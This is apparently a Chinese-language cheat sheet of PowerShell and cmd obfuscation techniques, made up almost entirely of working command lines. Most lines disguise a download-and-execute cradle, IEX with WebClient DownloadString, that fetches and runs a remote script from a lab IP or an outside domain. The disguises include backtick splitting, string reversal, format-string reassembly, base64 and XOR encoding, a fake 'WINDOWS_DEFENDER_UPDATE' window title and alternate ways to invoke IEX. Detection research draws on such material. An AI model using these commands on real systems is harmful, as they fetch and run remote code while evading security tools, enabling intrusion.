cmd.exe /c "powershell -c write-host success -force green" cmd.exe /c "echo write-host success -force green | powershell -" # 最后的那个-不能去掉 cmd.exe /c "set p1=power && set p2=shell && cmd /c write-host success -fore green ^|%p1%%p2% -"
cmd.exe /c "echo write-host success -fore green | powershell iex $input"
cmd.exe /c "set cmd=write-host env -fore green && powershell iex $env:cmd" cmd.exe /c "set cmd=write-host env -fore green && cmd /c echo %cmd%|powershell -" cmd.exe /c "set cmd=write-host env -fore green && powershell iex([environment]::getEnvironmentVariable('cmd','process'))" cmd.exe /c "set cmd=write-host env -fore green && powershell iex((get-childitem/childItem/GCI/DIR/LS env:cmd).value)"
cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"
cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubString(5)"
cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"
DownloadString命令所下载的文件:http://192.168.1.103/test
Hacker在攻击时经常会远程下载代码脚本执行,这里基于这样的一条标准的下载文件命令来进行变形混淆。
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://192.168.1.103/test")。
Get-Variable/GV/Variable cmd -ValueOnly -ValueOnly可以简写为-ValueOnly,-ValueOnl,-ValueOn,-ValueO......,-Va,-V (Get-Item/GI/Item Variable:cmd).Value (Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://192.168.1.103/test")
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://192.168.1.103/test")
$wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://192.168.1.103/test') | IEX
Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://192.168.1.103/test')
Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://192.168.1.103/test') $ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://192.168.1.103/test')
0 Null `a 警报 `b 退格 `f 换页 `n 换行 `r 回车 `t 水平制表 `v 垂直制表
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://192.168.1.103/test') Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://192.168.1.103/test') Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"('h'+'ttp://192.168.1.103/test')
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://192.168.1.103/test')
Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"('h'+'ttp://192.168.1.103/test') $v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"('h'+'ttp://192.168.1.103/test') $num1="l";$num2="s";iex($num1+$num2)
&(Get-Command New-Obje*) &(Get-Command *w-O*) &(GCM *w-O*) &(COMMAND *w-*ct) .(Get-Command New-Obje*) .(Get-Command *w-O*) .(GCM *w-O*) .(COMMAND *w-*ct) $var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3)
Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"('h'+'ttp://192.168.1.103/test') $var1="New";$var2="-Object";$var3=$var1+$var2;Invoke-Expression (&(GCM $var3)"Net.WebClient")."DownloadString"('h'+'ttp://192.168.1.103/test') ie`x (.(GCM *w-O*)"Net.WebClient")."DownloadString"('h'+'ttp://192.168.1.103/test')
# 以下是执行脚本块的方法: invoke-command{xxxx} ICM{xxxx} {xxxx}.invoke() &{xxxx} .{xxxx} # 以下是创建脚本块的方式 $ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx") ${ExecuTioNCoNTexT}."INVokeCommANd"."NewScRipTBlock"("expression") $ExecutionContext."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression") ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression") $a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")
[Type]("Scriptblock")
[Scriptblock]::Create("expression") ([Type]"Scriptblock")::create('expression') [Scriptblock]::("Create").Invoke("expression") ([Type]("Scriptblock"))::("Create").Invoke("expression") [Scriptblock]::("`C`R`e"+"`A`T`e").Invoke("expression") ([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")
.(${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d")."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('h'+'ttp://192.168.1.103/test'))
$reverseCmd= ")'tset/301.1.861.291//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN("; 1. IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX 2. $reverseCmdCharArray= $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray); IEX ($reverseCmdCharArray-Join '') | IEX 3. IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX
$cmdWithDelim= "(New-Object Net.We~~bClient).Downlo~~adString('http://192.168.1.103/test')"; 1. IEX ($cmdWithDelim.Split("~~") -Join '') | IEX 2. IEX $cmdWithDelim.Replace("~~","") | IEX 3. IEX ($cmdWithDelim-Replace "~~","") | IEX
//将NE download http://分别填到{0},{1},{2} IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}192.168.1.103/test")' -f 'Ne', 'Download','http://') | IEX //示例2 .("{1}{0}" -f 'X','IE') (&("{3}{2}{1}{0}" -f 'ct','-Obje','w','Ne') ("{0}{2}{1}" -f 'N','nt','et.WebClie')).("{2}{0}{1}{3}" -f 'dSt','rin','Downloa','g').Invoke(("{5}{0}{3}{4}{1}{2}" -f 'tp:/','1.','103/test','/','192.168.','ht'))
$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('http://192.168.1.103/text')"; 1. IEX ($c1,$c2,$c3 -Join '') | IEX 2. IEX ($c1,$c3 -Join $c2) | IEX 3. IEX ([string]::Join($c2,$c1,$c3)) | IEX # 这一条在我运行的时候发生了报错:找不到“Join”的重载,参数计数为:“3”。 4. IEX ([string]::Concat($c1,$c2,$c3)) | IEX 5. IEX ($c1+$c2+$c3) | IEX 6. IEX "$c1$c2$c3" | IEX
Ascii
//不用分号 $cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX
Base64
-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E
1.PS 2.0 -> [C`onv`ert]::"FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA') 2.PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')
.NET的方法
IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZQBjAGgAbwAgADEAMgAzAAoA')))
[Convert]::ToString(1234, 2) [Convert]::ToString(1234, 8) [Convert]::ToString(1234, 16) * 也是转换为16进制 "{0:X4}" -f 1234 小写: "{0:x4}" -f 1234 [Byte][Char]([Convert]::ToInt16($_,16)) ($cmd.ToCharArray() | % {[int]$_}) -Join $delim //可以去掉空白 -Join$delim $bytes[$i] = $bytes[$i] -BXOR 0x6A //可以去点空白 $bytes[$i]-BXOR0x6A)
DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name) IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')
IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')
(GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike'*Co*d'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike'G*om*e'}).Name).Invoke('N*ct',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet)
经过上面构造可以看到很多都使用Invoke-Expression/IEX命令,.,&符号来执行表达式。
Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。
这里也先看看代替IEX的各种执行方式
&(GAL I*X) .(LS Alias:/I*X) Get-Command/GCM .(GCM I*e-E*) &(Command I*e-E*)
$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*'), //用到环境变量 &(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'*Cm*ts'}).Name).Invoke('I*e-E*')
$ExecutionContext.InvokeCommand.InvokeScript($Script) (GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'I*'}).Name).Invoke($Script),
Invoke-Command ([ScriptBlock]::Create($Script)) [ScriptBlock]::Create($Script).Invoke() .((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name).(((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name)|Member|Where-Object{(Get-Variable _ -Va).Name-clike'N*S*B*'}).Name).Invoke($Script))
[PowerShell]::Create().AddScript($Script).Invoke() Invoke-AsWorkflow (PS3.0+) Invoke-AsWorkflow -Expression $Script
($Env:ComSpec[4,26,25]-Join'') ((LS env:/Co*pec).Value[4,26,25]-Join'') ($ShellId[1]+$ShellId[13]+'x') ((GV S*ell*d -Va)[1]+(DIR Variable:\S*ell*d).Value[13]+'x') (([String]''.IndexOf)[0,7,8]-Join'') //怎么构造?,比如上面这个 首先查看''|Get-Member有个IndexOf方法,然后看看[String]''.IndexOf的输出,提取出里面的IEX字母